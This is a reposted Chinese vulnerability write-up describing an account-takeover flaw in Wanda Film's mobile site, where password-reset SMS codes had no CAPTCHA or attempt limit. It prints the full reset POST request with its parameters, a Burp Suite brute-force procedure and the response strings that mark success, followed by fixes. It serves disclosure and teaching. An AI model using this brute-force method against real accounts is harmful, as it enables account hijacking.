网站地图    收藏   

主页 > 后端 > 网站安全 >

万达电影网站的任意帐号密码重置漏洞及修复

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 1.万达电影网站的主站对密码重置这一模块,部署了强悍的验证码,因此这里是没有问题的!2.但是在给移动终端访问的站点http://m.wandafilm.com存在问题,没有部署验证码,可以通过爆破手...

1.万达电影网站的主站对密码重置这一模块,部署了强悍的验证码,因此这里是没有问题的!
 
2.但是在给移动终端访问的站点http://m.wandafilm.com存在问题,没有部署验证码,可以通过爆破手机短信码(区别于图片验证码,这里称作短信码)从而重置任意帐号的密码,听我慢慢道来!首先打开移动终端的主站,点击【会员中心】
 
3.如果你没有登录的话,会跳到登录界面,但是看到【忘记密码?】。我激动了:
 
4.点她吧!输入要找回密码的手机号码,我这里为测试,使用了自己的:
 
5.点击【获取验证码】,网站便跳转到了重置的页面同时手机上收到短信码,为6位纯数字:745233,我随手写个6位纯数字验证码111111,并填上需要重置的密码,点击提交,这里注意要抓包,查看请求:
可以看到返回"手机验证码错误"的字样
6.从抓包的数据看,POST的请求为:
POST /member/resetPassByToken.do HTTP/1.1
Host: m.wandafilm.com
Proxy-Connection: keep-alive
Content-Length: 48
Cache-Control: max-age=0
Origin: http://m.wandafilm.com
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://m.wandafilm.com/member/findPass.do
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: cityCodeCookies=3774659600; JSESSIONID=EF648CCE0C1400944E9125F5ACAAD04C; __utma=81395784.778974478.1351818648.1351818648.1351837926.2; __utmb=81395784.33.10.1351837926; __utmc=81395784; __utmz=81395784.1351818648.1.1.utmcsr=wanda.cn|utmccn=(referral)|utmcmd=referral|utmcct=/group/jumpPage/hotel.shtml; Hm_lvt_12e233684b48dc67054644eaa9e278fc=1351818647992,1351819397061,1351837925819; Hm_lpvt_12e233684b48dc67054644eaa9e278fc=1351838684225
 
mobileNo=手机号&token=111111&newPass=222222
其中,mobileNo参数为手机号,token参数为短信码,newPass为需要重置的密码,那么只要token被猜测对了,只需一次请求即可重置相关手机号的密码:
 
 

7.继续模拟上述请求,将POST请求发送到burpsuite的intruder模块,设置好需要爆破的参数为token:
 
8.由于只是测试,我这里从745200开始爆破,在爆破时如果token不正确则返回"万达电影_系统忙"的字样,并且从返回内容字数的多少也可以判断:
 
9.成功爆破短信码后,系统会返回【万达电影移动_密码修改成功】的字样:
 
10.后面利用爆破的账号密码成功登陆系统:




 
修复方案:
1.实际上在移动用户密码重置这里确实有一个小小的限制,短信码的有效期为5分钟,但是对真正的黑客来说这并不算什么!假设网速可以的情况下,每秒能进行一次爆破验证码的请求,那么10计算机并发1000个线程只需两分钟即可成功重置账号!
2.短信码可以为6位纯数字,甚至可以缩短为4为纯数字;可以不设置图片验证码,甚至可以不用设置短信码的有效期。但是为什么不设置连续5次尝试失败就锁定本次密码重置的请求呢?

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论